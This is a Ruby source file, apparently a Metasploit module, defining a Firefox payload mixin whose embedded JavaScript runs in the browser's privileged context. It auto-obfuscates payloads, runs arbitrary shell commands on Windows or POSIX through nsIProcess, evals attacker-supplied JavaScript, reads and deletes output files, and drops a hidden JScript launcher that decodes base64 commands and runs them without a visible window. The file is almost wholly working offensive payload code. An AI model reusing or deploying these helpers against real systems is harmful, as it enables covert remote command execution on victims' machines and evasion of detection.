# -*- coding: binary -*- require 'msf/core' require 'msf/core/exploit/jsobfu' require 'json' module Msf::Payload::Firefox # automatically obfuscate every Firefox payload include Msf::Exploit::JSObfu # Javascript source code of setTimeout(fn, delay) # @return [String] javascript source code that exposes the setTimeout(fn, delay) method def set_timeout_source %Q| var setTimeout = function(cb, delay) { var timer = Components.classes["@mozilla.org/timer;1"].createInstance(Components.interfaces.nsITimer); timer.initWithCallback({notify:cb}, delay, Components.interfaces.nsITimer.TYPE_ONE_SHOT); return timer; }; | end # Javascript source of readUntilToken(s) # Continues reading the stream as data is available, until a pair of # command tokens like [[aBcD123ffh]] [[aBcD123ffh]] is consumed. # # Returns a function that can be passed to the #onDataAvailable callback of # nsIInputStreamPump that will buffer until a second token is read, or, in # the absence of any tokens, a newline character is read. # # @return [String] javascript source code that exposes the readUntilToken(cb) function def read_until_token_source %Q| var readUntilToken = function(cb) { Components.utils.import("resource://gre/modules/NetUtil.jsm"); var buffer = '', m = null; return function(request, context, stream, offset, count) { buffer += NetUtil.readInputStreamToString(stream, count); if (buffer.match(/^(\\[\\[\\w{8}\\]\\])/)) { if (m = buffer.match(/^(\\[\\[\\w{8}\\]\\])([\\s\\S]*)\\1/)) { cb(m[2]); buffer = ''; } } else if (buffer.indexOf("\\n") > -1) { cb(buffer); buffer = ''; } }; }; | end # Javascript source code of readFile(path) - synchronously reads a file and returns # its contents. The file is deleted immediately afterwards. # # @return [String] javascript source code that exposes the readFile(path) method def read_file_source %Q| var readFile = function(path) { try { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(path); var fileStream = Components.classes["@mozilla.org/network/file-input-stream;1"] .createInstance(Components.interfaces.nsIFileInputStream); fileStream.init(file, 1, 0, false); var binaryStream = Components.classes["@mozilla.org/binaryinputstream;1"] .createInstance(Components.interfaces.nsIBinaryInputStream); binaryStream.setInputStream(fileStream); var array = binaryStream.readByteArray(fileStream.available()); binaryStream.close(); fileStream.close(); file.remove(true); return array.map(function(aItem) { return String.fromCharCode(aItem); }).join(""); } catch (e) { return ""; } }; | end # Javascript source code of runCmd(str,cb) - runs a shell command on the OS # # Because of a limitation of firefox, we cannot retrieve the shell output # so the stdout/err are instead redirected to a temp file, which is read and # destroyed after the command completes. # # On posix, the command is double wrapped in "/bin/sh -c" calls, the outer of # which redirects stdout. # # On windows, the command is wrapped in two "cmd /c" calls, the outer of which # redirects stdout. A JScript "launch" file is dropped and invoked with wscript # to run the command without displaying the cmd.exe prompt. # # When the command contains the pattern "[JAVASCRIPT] ... [/JAVASCRIPT]", the # javascript code between the tags is eval'd and returned. # # @return [String] javascript source code that exposes the runCmd(str) method. def run_cmd_source %Q| #{read_file_source} #{set_timeout_source} var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"] .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent; var windows = (ua.indexOf("Windows")>-1); var svcs = Components.utils.import("resource://gre/modules/Services.jsm"); var jscript = (#{JSON.unparse({:src => jscript_launcher})}).src; var runCmd = function(cmd, cb) { cb = cb \|\| (function(){}); if (cmd.trim().length == 0) { setTimeout(function(){ cb("Command is empty string ('')."); }); return; } var js = (/^\\s*\\[JAVASCRIPT\\]([\\s\\S]*)\\[\\/JAVASCRIPT\\]/g).exec(cmd.trim()); if (js) { var tag = "[!JAVASCRIPT]"; var sync = true; /* avoid zalgo's reach */ var sent = false; var retVal = null; try { this.send = function(r){ if (sent) return; sent = true; if (r) { if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); }); else cb(false, r+tag+"\\n"); } }; retVal = Function(js[1]).call(this); } catch (e) { retVal = e.message; } sync = false; if (retVal && !sent) { sent = true; setTimeout(function(){ cb(false, retVal+tag+"\\n"); }); } return; } var shEsc = "\\\\$&"; var shPath = "/bin/sh -c"; if (windows) { shPath = "cmd /c"; shEsc = "\\^$&"; var jscriptFile = Components.classes["@mozilla.org/file/directory_service;1"] .getService(Components.interfaces.nsIProperties) .get("TmpD", Components.interfaces.nsIFile); jscriptFile.append('#{Rex::Text.rand_text_alphanumeric(8+rand(12))}.js'); var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"] .createInstance(Components.interfaces.nsIFileOutputStream); stream.init(jscriptFile, 0x04 \| 0x08 \| 0x20, 0666, 0); stream.write(jscript, jscript.length); if (stream instanceof Components.interfaces.nsISafeOutputStream) { stream.finish(); } else { stream.close(); } } var stdoutFile = "#{Rex::Text.rand_text_alphanumeric(8+rand(12))}"; var stdout = Components.classes["@mozilla.org/file/directory_service;1"] .getService(Components.interfaces.nsIProperties) .get("TmpD", Components.interfaces.nsIFile); stdout.append(stdoutFile); var shell; cmd = cmd.trim(); if (windows) { shell = shPath+" "+cmd; shell = shPath+" "+shell.replace(/\\W/g, shEsc)+" >"+stdout.path+" 2>&1"; var b64 = svcs.btoa(shell); } else { shell = shPath+" "+cmd.replace(/\\W/g, shEsc); shell = shPath+" "+shell.replace(/\\W/g, shEsc) + " >"+stdout.path+" 2>&1"; } var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); var sh = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); if (windows) { sh.initWithPath("C:\\\\Windows\\\\System32\\\\wscript.exe"); process.init(sh); var args = [jscriptFile.path, b64]; process.run(true, args, args.length); jscriptFile.remove(true); setTimeout(function(){cb(false, cmd+"\\n"+readFile(stdout.path));}); } else { sh.initWithPath("/bin/sh"); process.init(sh); var args = ["-c", shell]; process.run(true, args, args.length); setTimeout(function(){cb(false, readFile(stdout.path));}); } }; | end # This file is dropped on the windows platforms to a temp file in order to prevent the # cmd.exe prompt from appearing. It is executed and then deleted. # # Note: we should totally add a powershell replacement here. # # @return [String] JScript that reads its command-line argument, decodes # base64 and runs it as a shell command. def jscript_launcher %Q| var b64 = WScript.arguments(0); var dom = new ActiveXObject("MSXML2.DOMDocument.3.0"); var el = dom.createElement("root"); el.dataType = "bin.base64"; el.text = b64; dom.appendChild(el); var stream = new ActiveXObject("ADODB.Stream"); stream.Type=1; stream.Open(); stream.Write(el.nodeTypedValue); stream.Position=0; stream.type=2; stream.CharSet = "us-ascii"; stream.Position=0; var cmd = stream.ReadText(); (new ActiveXObject("WScript.Shell")).Run(cmd, 0, true); | end end